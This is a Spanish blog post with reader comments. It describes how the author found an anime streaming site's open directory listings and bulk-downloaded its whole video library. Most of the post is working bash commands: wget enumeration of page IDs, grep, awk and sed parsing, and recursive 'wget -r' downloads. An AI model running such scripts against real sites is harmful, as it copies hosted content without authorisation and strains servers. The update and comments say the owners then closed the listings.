El rincón de Zerial

Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio

Asaltando un sitio de series online

Febrero 15th, 2010 · 9 Comentarios

De aburridos, junto con E.A.S (o xwall), nos dedicamos a buscar un sitio que brinde el servicio de series de en linea para encontrar la forma de tomar prestadas todas las series alojadas en el servidor. Imaginense algo como YouTube, pero tan vulnerable que fuese posible extraer todos los videos que hay en la red.
Bien, nuestro objetivo fue un sitio de series de animé en línea llamado “Efecto animé” que, mediante el sitio Satanick.net logramos descargar todas las series y capítulos que se servían.

La teoría es sencilla, la idea era encontrar un link directo a los distintos archivos multimedia o bien un enlace a algun directorios que los contenga, para luego descargar todo el contenido del directorio.
El fallo por parte de ellos fue dejar que se liste el contenido de directorios, de esta forma pudimos tener acceso a informacón como la siguiente:

Luego, con un poco de magia, simplemente descargamos el contenido de todo ese directorio.

Todo fue gracias al sitio “Satanick” el cual contiene un flash que provee al usuario poder ver series en línea, afortunadamente lamentablemente si vemos el código fuente nos encontramos con la siguiente sorpresa:




Miren detenidamente el código a ver si encuentran algo que nos ayude a nuestro propósito. Encontramos:

file=http://efectoanime.com/server/dn0te/06.mp4

Con esto ya podemos deducir que todos los videos se encuentran en la URL http://efectoanime.com/server/XXX, donde XXX corresponde al nombre de la serie. Como vimos en la imágen que les mostré anteriormente (donde se listaban los archivos del directorio thundercats/), está permitido listado de archivos de un directorio. Nuestro amigo wget será la salvación, ya que con el parametro -r es posible descargar un directorio.

Bien, ahora nos falta automatizar el proceso. Las URL de Satanick, donde se encuetran los videos, son de la forma http://satanick.com/?page_id=XXX, por lo que podemos asumir que cada ID corresponde a una página y en cada página es posible que encontremos links como el que les acabo de mostrar (el html de más arriba). Entonces mi idea fue crear un script que recorriera todas las páginas desde XXX hasta XXX+n. Pensando que si lo hago desde 0 se iba a demorar una eternidad, solo lo hice desde el 3000 hasta el 10000, luego cada página examinada deberá ser parseada y se debe encontrar un patrón que nos permita obtener la URL donde se encuentran los videos.
Yo lo hice de la siguiente forma:

for x in $(seq 3000 10000); do wget -O - http://satanick.net/?page_id=$x |grep "http://efectoanime.com/server" |awk -F '&' {'print $2'}>> lista_videos_satanick; done

Si lo queremos ver más bonito y en forma de “script”:

#!/bin/bash
for x in $(seq 3000 10000);
do
   wget -O - http://satanick.net/?page_id=$x |grep "http://efectoanime.com/server" |awk -F '&' {'print $2'}>> lista_videos_satanick;
done

El archivo “lista_videos_satanick” va a guardar todas las URL que encuentre y quedarás más o menos así:

file=http://efectoanime.com/server/hades/h29.mp4
file=http://efectoanime.com/server/hades/h29.mp4
file=http://efectoanime.com/server/hades/h30.mp4
file=http://efectoanime.com/server/hades/h30.mp4
file=http://efectoanime.com/server/hades/h31.mp4
file=http://efectoanime.com/server/hades/h31.mp4
file=http://efectoanime.com/server/hades/h31.mp4
file=http://efectoanime.com/server/thundercats/Th71.mp4
file=http://efectoanime.com/server/thundercats/Th71.mp4
file=http://efectoanime.com/server/thundercats/Th71.mp4
file=http://efectoanime.com/server/thundercats/Th72.mp4
file=http://efectoanime.com/server/thundercats/Th72.mp4
file=http://efectoanime.com/server/thundercats/Th72.mp4
file=http://efectoanime.com/server/thundercats/Th73.mp4
file=http://efectoanime.com/server/thundercats/Th73.mp4
file=http://efectoanime.com/server/thundercats/Th73.mp4
file=http://efectoanime.com/server/thundercats/Th74.mp4
file=http://efectoanime.com/server/thundercats/Th74.mp4

Lo único que debemos hacer es quitarle el principio “file=” y quitar las líneas repetidas:
sed -i 's/file=//g' lista_videos_satanick
Nos quedará algo así:

http://efectoanime.com/server/shippuden/Shippuden_144.mp4

http://efectoanime.com/server/bl34ch/B255.mp4

http://efectoanime.com/server/shippuden/Shippuden_145.mp4

http://efectoanime.com/server/md/612.mp4

http://efectoanime.com/server/bl34ch/B256.mp4

http://efectoanime.com/server/shippuden/Shippuden_146.mp4

http://efectoanime.com/server/thundercats/Th90.mp4

http://efectoanime.com/server/thundercats/Th92.mp4

De todas estas URL lo que nos interesa es sólo http://efectoanime.com/server/XXX, entonces lo arreglamos:

awk -F '/' {'print $1"/"$2"/"$3"/"$4"/"$5'} lista_videos_satanick

Quedará algo así:

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/bl34ch

http://efectoanime.com/server/bl34ch

http://efectoanime.com/server/bl34ch

http://efectoanime.com/server/shippuden

http://efectoanime.com/server/shippuden

http://efectoanime.com/server/shippuden

http://efectoanime.com/server/MD

http://efectoanime.com/server/MD

http://efectoanime.com/server/MD

Ahora debemos eliminar las repetidas:

# awk -F '/' {'print $1"/"$2"/"$3"/"$4"/"$5'} lista_videos_satanick |sort|uniq -d

http://efectoanime.com/server/avatar

http://efectoanime.com/server/bl34ch

http://efectoanime.com/server/Chihiro

http://efectoanime.com/server/dn0te

http://efectoanime.com/server/hades

http://efectoanime.com/server/lcanvas

http://efectoanime.com/server/manga

http://efectoanime.com/server/md

http://efectoanime.com/server/MD

http://efectoanime.com/server/sayns

http://efectoanime.com/server/shippuden

http://efectoanime.com/server/thundercats

http://efectoanime.com/server/trailers

http://efectoanime.com/server/Vshow

Luego un script que descarge todos los contenidos de los directorios:

for link in $(cat lista_videos_satanick); do wget -r $link; done

Y listo.

1.6G Death Note.tar
1.6G Saga de Hades.tar

ACTUALIZADO 16/02/2009

Luego de los comentarios de los responsables de los sitios, dando las gracias y diciendo que no les importa porque de todas formas tiene una marca de agua, etc etc.. Los directorios ya no se pueden listar:

http://efectoanime.com/server/thundercats/

Al fin y al cabo, si les importó el tema. Me alegro que les sirviera el post.

Posts relacionados

Etiquetas: Hacking · Seguridad

9 respuestas hasta ahora ↓

  • 1
    Alvaro Véliz CHILE Ubuntu Linux Mozilla Firefox 3.5.7 // Feb 15, 2010 a las 10:05 pm

    Cooool, por dejar el server por defecto no más!

  • 2
    satanick MEXICO Windows NT Internet Explorer 8.0 // Feb 15, 2010 a las 11:44 pm

    O.O que cosas no ? jajajaj gracias de todos modos xD

  • 3
    AzTek UNITED STATES Windows NT Google Chrome 4.0.249.89 // Feb 15, 2010 a las 11:45 pm

    jajaja!
    gracias por la publicidad hermano!
    me da igual si usan el server para descargar o no… de todos modos tiene mis logos (marca de agua)
    para eso es la pagina, ANIME ONLINE GRATIS!

    io vengo departe de FxAnime – Efecto Anime…
    no dejo la pagina (direccion) porque ia la publicaste tu :p

  • 4
    Zerial CHILE Linux Mozilla 1.9.2 // Feb 16, 2010 a las 12:06 am

    :)

  • 5
    E.A.S. CHILE Windows XP Mozilla Firefox 3.5.7 // Feb 16, 2010 a las 2:26 am

    :D tambien encontre otros sitios :D haber si el viernes lo hacemos de nuevo por nuevas series :D

  • 6
    carx SPAIN Windows XP Mozilla Firefox 3.6 // Feb 17, 2010 a las 9:02 am

    Sois malos ehhh?? jajaja. En fin, ya en serio, es bueno concienciar a los Admin para que adquieran un poco mas de conciencia con la seguridad de sus sites. Saludos.

  • 7
    abraxxas CHILE Debian GNU/Linux Mozilla Firefox 3.5.6 // Feb 17, 2010 a las 5:56 pm

    jejejjejeej

    que chistoso

    saludos

  • 8
    jp CHILE Windows NT Internet Explorer 8.0 // Jun 9, 2010 a las 11:54 pm

    lo mejor es hacer un archivo que haga de puente y vaya a buscar el archivo a una url local despues de realizar todas las validaciones correspondientes

  • 9
    jp CHILE Windows NT Internet Explorer 8.0 // Jun 9, 2010 a las 11:56 pm

    fix url = directorio

Deja un Comentario